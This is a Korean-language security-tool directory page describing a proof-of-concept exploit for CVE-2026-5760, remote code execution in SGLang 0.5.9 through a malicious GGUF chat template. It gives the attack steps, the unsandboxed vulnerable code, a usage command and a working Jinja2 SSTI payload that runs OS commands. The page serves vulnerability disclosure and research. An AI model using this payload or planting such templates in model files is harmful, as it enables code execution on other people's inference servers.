Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
SGLang-0.5.9-RCE — CVE-2026-5760 개념 증명(PoC) 익스플로잇 - 악성 GGUF를 통한 SGLang 0.5.9 원격 코드 실행(RCE) | Kitploit
도구/GitHubGitHub/stuub/sglang-0.5.9-rce
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & Education
GitHubstuub/sglang-0.5.9-rce

SGLang-0.5.9-RCE

CVE-2026-5760 개념 증명(PoC) 익스플로잇 - 악성 GGUF를 통한 SGLang 0.5.9 원격 코드 실행(RCE)

저장소 보기
524개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

SGLang SSTI to RCE PoC — 샌드박스가 적용되지 않은 Jinja2 채팅 템플릿 렌더링 (CVE-2026-5760)

SGLang의 reranking 엔드포인트에서 서버 측 템플릿 주입(SSTI)을 통한 원격 코드 실행. 악성 GGUF 모델 파일에 조작된 tokenizer.chat_template이 포함되어 있으며, 해당 모델이 SGLang에 로드되고 /v1/rerank 엔드포인트가 호출되면 임의 코드 실행이 이루어집니다.

기능

SGLang의 샌드박스가 적용되지 않은 Jinja2 템플릿 렌더링을 악용하는 Critical 심각도 취약점을 활용합니다. SGLang의 reranking 엔드포인트(/v1/rerank)는 모델이 제공하는 채팅 템플릿을 ImmutableSandboxedEnvironment 대신 jinja2.Environment()로 렌더링하므로, 악성 모델이 추론 서버에서 임의의 Python 코드를 실행할 수 있습니다.

이는 llama-cpp-python에 영향을 준 CVE-2024-34359("Llama Drama")와 동일한 취약점 클래스입니다.

공격 단계별 분석

  1. 공격자는 악성 tokenizer.chat_template에 Jinja2 SSTI 페이로드가 포함된 GGUF 모델 파일을 제작합니다
  2. 템플릿에는 serving_rerank.py의 취약한 코드 경로를 활성화하는 Qwen3 reranker 트리거 문구가 포함됩니다
  3. 피해자는 (예: HuggingFace에서) 모델을 다운로드하여 SGLang에 로드합니다
  4. /v1/rerank에 어떤 요청이든 도달하면 SGLang은 chat_template을 읽고 jinja2.Environment()로 렌더링합니다 — 샌드박스 없음
  5. SSTI 페이로드가 서버에서 임의의 Python 코드를 실행합니다

취약한 코드

파일: python/sglang/srt/entrypoints/openai/serving_rerank.py

root@kitploit:~
# serving_rerank.py lines 128-132 — UNSANDBOXED
def _get_jinja_env():
    return jinja2.Environment(           # <-- Should be ImmutableSandboxedEnvironment
        loader=jinja2.BaseLoader(),
        autoescape=False,
        undefined=jinja2.Undefined,
    )

사용 방법

이 PoC는 악성 GGUF 파일을 생성하고 SGLang의 샌드박스가 적용되지 않은 렌더링 경로를 통해 코드 실행을 시연합니다.

root@kitploit:~
python3 exploit.py "id"

인수로 셸 명령을 전달하세요 — 기본값은 id입니다.

SSTI 페이로드

GGUF 파일에 포함된 악성 채팅 템플릿:

root@kitploit:~
MALICIOUS_TEMPLATE = (
    'The answer can only be "yes" or "no".\n'
    '{{ lipsum.__globals__["os"].popen("echo SGLANG_RCE_CONFIRMED").read() }}'
    '{% for message in messages %}{{ message["content"] }}{% endfor %}'
)
  • 트리거 문구(The answer can only be "yes" or "no")는 SGLang의 Qwen3 reranker 감지를 활성화하여 요청을 취약한 _render_jinja_chat_template() 경로로 라우팅하는 데 필요합니다.
  • lipsum.__globals__["os"].popen()은 Jinja2 컨텍스트를 벗어나 임의의 OS 명령을 실행합니다.

참고 자료

  • CVE-2026-5760
  • CVE-2024-34359 — llama-cpp-python의 동일한 취약점 클래스
  • CVE-2025-61620 — 채팅 템플릿을 통한 vLLM DoS (동일한 공격 표면)
  • SGLang GitHub
  • CWE-1336: 템플릿 엔진에서 사용되는 특수 요소의 부적절한 중성화
  • CWE-94: 코드 생성의 부적절한 제어

면책 조항

이 도구는 승인된 보안 연구 및 교육 목적으로만 사용해야 합니다. 책임감 있게 사용하세요.

도구 다운로드